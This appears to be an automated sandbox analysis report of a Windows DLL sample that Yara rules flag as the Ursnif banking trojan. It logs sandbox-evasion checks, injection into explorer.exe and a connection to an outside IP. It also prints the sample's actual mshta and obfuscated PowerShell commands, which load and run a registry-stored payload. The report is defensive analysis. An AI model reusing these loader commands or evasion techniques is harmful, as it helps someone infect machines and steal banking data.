Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\control.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\System32\rundll32.exe Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\explorer.exe Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion
barindex
Uses ping.exe to sleep
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\PING.EXE ping localhost -n 5
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\PING.EXE ping localhost -n 5
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 6764 Thread sleep time: -10145709240540247s >= -30000s Jump to behavior
Found evasive API chain (date check)
Source: C:\Windows\SysWOW64\rundll32.exe Evasive API call chain: GetSystemTimeAsFileTime,DecisionNodes
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Found dropped PE file which has not been started or loaded
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\bscdh0f0\bscdh0f0.dll Jump to dropped file
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\poet0yxq\poet0yxq.dll Jump to dropped file
Contains long sleeps (>= 3 min)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 5717 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Window / User API: threadDelayed 3615 Jump to behavior
Found evasive API chain checking for process token information
Source: C:\Windows\SysWOW64\rundll32.exe Check user administrative privileges: GetTokenInformation,DecisionNodes
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information queried: ProcessInformation Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_0580FCC0 lstrlenW,FindFirstFileW,lstrlenW,RemoveDirectoryW,DeleteFileW,FindNextFileW,GetLastError, 2_2_0580FCC0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_0580CE21 FindFirstFileW,lstrlenW,lstrlenW,lstrcpyW,lstrlenW,lstrcpyW,lstrcpyW,FindNextFileW,FindClose,FreeLibrary, 2_2_0580CE21
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_05805A14 lstrlenW,lstrlenW,lstrlenW,lstrlenW,memset,FindFirstFileW,lstrlenW,lstrlenW,memset,wcscpy,PathFindFileNameW,RtlEnterCriticalSection,RtlLeaveCriticalSection,lstrlenW,FindNextFileW,WaitForSingleObject,FindClose,FindFirstFileW,lstrlenW,FindNextFileW,WaitForSingleObject,FindClose, 2_2_05805A14
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread delayed: delay time: 922337203685477 Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_0580591B wcscpy,wcscpy,GetLogicalDriveStringsW,GetLogicalDriveStringsW,RtlAllocateHeap,memset,GetLogicalDriveStringsW,WaitForSingleObject,GetDriveTypeW,lstrlenW,wcscpy,lstrlenW,HeapFree, 2_2_0580591B
Source: explorer.exe, 00000021.00000000.427438325.00000000051AC000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: SCSI\Disk&Ven_VMware&Prod_Virtual_disk\5&1ec51bf7&0&000000
Source: explorer.exe, 00000021.00000000.427485687.00000000051D2000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: -94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}71USER
Source: explorer.exe, 00000021.00000000.385694451.0000000006005000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: VMware SATA CD00
Source: explorer.exe, 00000021.00000000.384966300.0000000005EAB000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: \\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000021.00000000.383500997.000000000510C000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: \\?\scsi#cdrom&ven_necvmwar&prod_vmware_sata_cd00#5&280b647&0&000000#{53f56308-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000021.00000000.427485687.00000000051D2000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: SCSI\CDROM&VEN_NECVMWAR&PROD_VMWARE_SATA_CD00\5&280B647&0&000000
Source: explorer.exe, 00000021.00000000.385694451.0000000006005000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}ed:Wednesday:Thu:Thursday:Fri:Friday:Sat:Saturday
Source: mshta.exe, 00000017.00000003.329575243.0000022F66BCE000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: mshta.exe, 00000017.00000003.329575243.0000022F66BCE000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}
Source: explorer.exe, 00000021.00000000.383500997.000000000510C000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: SCSI\CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00\5&280b647&0&000000
Source: explorer.exe, 00000021.00000000.385694451.0000000006005000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: \\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000025700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#000000001F400000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000026700000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\STORAGE#Volume#{e6e9dfc6-98f2-11e9-90ce-806e6f6e6963}#0000000000100000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#5&280b647&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\\?\SCSI#CdRom&Ven_Msft&Prod_Virtual_DVD-ROM#2&1f4adffe&0&000001#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}on:Mondz?S
Source: explorer.exe, 00000021.00000000.385694451.0000000006005000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: VMware SATA CD00dRom0cY
Contains functionality to dynamically determine API calls
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_0580A513 LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress, 2_2_0580A513
Enables debug privileges
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process token adjusted: Debug Jump to behavior
Checks if the current process is being debugged
Source: C:\Windows\System32\loaddll32.exe Process queried: DebugPort Jump to behavior
Source: C:\Windows\System32\loaddll32.exe Process queried: DebugPort Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_0580BE55 StrRChrA,_strupr,lstrlen,CreateEventA,RtlAddVectoredExceptionHandler,GetLastError,RtlRemoveVectoredExceptionHandler, 2_2_0580BE55

HIPS / PFW / Operating System Protection Evasion
barindex
System process connects to network (likely due to code injection or exploit)
Source: C:\Windows\SysWOW64\rundll32.exe Network Connect: 146.70.35.138 80 Jump to behavior
Writes to foreign memory regions
Source: C:\Windows\SysWOW64\rundll32.exe Memory written: C:\Windows\System32\control.exe base: 7FF61B5912E0 Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory written: C:\Windows\System32\control.exe base: 7FF61B5912E0 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: C:\Windows\explorer.exe base: 352000 Jump to behavior
Injects code into the Windows Explorer (explorer.exe)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: PID: 3616 base: 352000 value: 00 Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Memory written: PID: 3616 base: 7FF802BC1580 value: EB Jump to behavior
Creates a thread in another existing process (thread injection)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Thread created: C:\Windows\explorer.exe EIP: 2BC1580 Jump to behavior
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Source: unknown Process created: C:\Windows\System32\mshta.exe C:\Windows\System32\mshta.exe" "about:<hta:application><script>Xf38='wscript.shell';resizeTo(0,2);eval(new ActiveXObject(Xf38).regread('HKCU\\\Software\\AppDataLow\\Software\\Microsoft\\54E80703-A337-A6B8-CDC8-873A517CAB0E\\\TestLocal'));if(!window.flag)close()</script>
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name uqcywglb -value gp; new-alias -name kiubrmsyn -value iex; kiubrmsyn ([System.Text.Encoding]::ASCII.GetString((uqcywglb "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn))
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name uqcywglb -value gp; new-alias -name kiubrmsyn -value iex; kiubrmsyn ([System.Text.Encoding]::ASCII.GetString((uqcywglb "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)) Jump to behavior
Creates a process in suspended mode (likely to inject code)
Source: C:\Windows\SysWOW64\cmd.exe Process created: C:\Windows\SysWOW64\rundll32.exe rundll32.exe "C:\Users\user\Desktop\VoevdOQpeU.dll",#1 Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Process created: C:\Windows\System32\control.exe C:\Windows\system32\control.exe -h Jump to behavior
Source: C:\Windows\System32\mshta.exe Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" new-alias -name uqcywglb -value gp; new-alias -name kiubrmsyn -value iex; kiubrmsyn ([System.Text.Encoding]::ASCII.GetString((uqcywglb "HKCU:Software\AppDataLow\Software\Microsoft\54E80703-A337-A6B8-CDC8-873A517CAB0E").UrlsReturn)) Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\poet0yxq\poet0yxq.cmdline Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\user\AppData\Local\Temp\bscdh0f0\bscdh0f0.cmdline Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES2392.tmp" "c:\Users\user\AppData\Local\Temp\poet0yxq\CSCB57F583549494C91A9647985948976.TMP" Jump to behavior
Source: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe Process created: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\user\AppData\Local\Temp\RES3B60.tmp" "c:\Users\user\AppData\Local\Temp\bscdh0f0\CSCCEA1AC591E3E41DFA7DCA22F6F20A95.TMP" Jump to behavior
Source: C:\Windows\System32\control.exe Process created: C:\Windows\System32\rundll32.exe "C:\Windows\system32\rundll32.exe" Shell32.dll,Control_RunDLL -h Jump to behavior
Source: C:\Windows\System32\cmd.exe Process created: C:\Windows\System32\PING.EXE ping localhost -n 5
Source: explorer.exe, 00000021.00000000.408252291.0000000005E60000.00000004.00000001.00020000.00000000.sdmp, explorer.exe, 00000021.00000000.379131274.0000000000B50000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000021.00000000.408234525.0000000005610000.00000004.00000001.00020000.00000000.sdmp Binary or memory string: Shell_TrayWnd
Source: explorer.exe, 00000021.00000000.400441587.00000000005C8000.00000004.00000020.00020000.00000000.sdmp, explorer.exe, 00000021.00000000.379131274.0000000000B50000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000021.00000000.421471137.0000000000B50000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: Progman
Source: explorer.exe, 00000021.00000000.379131274.0000000000B50000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000021.00000000.421471137.0000000000B50000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000021.00000000.400760841.0000000000B50000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: Program Manager,
Source: explorer.exe, 00000021.00000000.379131274.0000000000B50000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000021.00000000.421471137.0000000000B50000.00000002.00000001.00040000.00000000.sdmp, explorer.exe, 00000021.00000000.400760841.0000000000B50000.00000002.00000001.00040000.00000000.sdmp Binary or memory string: Progmanlock
Queries the volume information (name, serial number etc) of a device
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Numerics\v4.0_4.0.0.0__b77a5c561934e089\System.Numerics.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\ VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package00113~31bf3856ad364e35~amd64~~10.0.17134.1.cat VolumeInformation Jump to behavior
Contains functionality to query CPU information (cpuid)
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_049F12D3 cpuid 2_2_049F12D3
Source: C:\Windows\SysWOW64\rundll32.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_05804DF5 CreateNamedPipeA,GetLastError,CloseHandle,GetLastError, 2_2_05804DF5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_049F5410 GetSystemTimeAsFileTime,_aulldiv,_snwprintf,CreateFileMappingW,GetLastError,GetLastError,MapViewOfFile,GetLastError,CloseHandle,GetLastError, 2_2_049F5410
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_049F515F CreateEventA,GetVersion,GetCurrentProcessId,OpenProcess,GetLastError, 2_2_049F515F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 2_2_049F12D3 RtlAllocateHeap,GetUserNameW,RtlAllocateHeap,GetUserNameW,HeapFree,GetComputerNameW,GetComputerNameW,RtlAllocateHeap,GetComputerNameW,HeapFree, 2_2_049F12D3

Stealing of Sensitive Information
barindex
Yara detected Ursnif
Source: Yara match File source: 00000002.00000003.260779553.0000000004F78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.308220825.0000000004F78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.260884971.0000000004F78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.309153947.0000000004D7C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.306041676.0000000004F78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.261032532.0000000004F78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.261191379.0000000004F78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.260987111.0000000004F78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.261105592.0000000004F78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000018.00000003.369967418.000001909FD9C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.261071181.0000000004F78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.365233310.0000000005D78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.261177888.0000000004F78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: Process Memory Space: rundll32.exe PID: 5292, type: MEMORYSTR
Source: Yara match File source: Process Memory Space: powershell.exe PID: 6612, type: MEMORYSTR
Source: Yara match File source: 2.3.rundll32.exe.48994a0.7.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.2.rundll32.exe.49f0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.3.rundll32.exe.48994a0.7.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.3.rundll32.exe.4e7a4a0.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.3.rundll32.exe.4f26940.2.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.3.rundll32.exe.4ef94a0.1.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 2.3.rundll32.exe.4e7a4a0.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000002.00000002.421966249.0000000005800000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.307999471.0000000004EF9000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.418290264.0000000004899000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.307957841.0000000004E7A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000002.420929959.0000000004BFF000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY

Remote Access Functionality
barindex
Yara detected Ursnif
Source: Yara match File source: 00000002.00000003.260779553.0000000004F78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.308220825.0000000004F78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.260884971.0000000004F78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.309153947.0000000004D7C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.306041676.0000000004F78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.261032532.0000000004F78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.261191379.0000000004F78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.260987111.0000000004F78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.261105592.0000000004F78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000018.00000003.369967418.000001909FD9C000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.261071181.0000000004F78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000002.00000003.365233310.0000000005D78000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
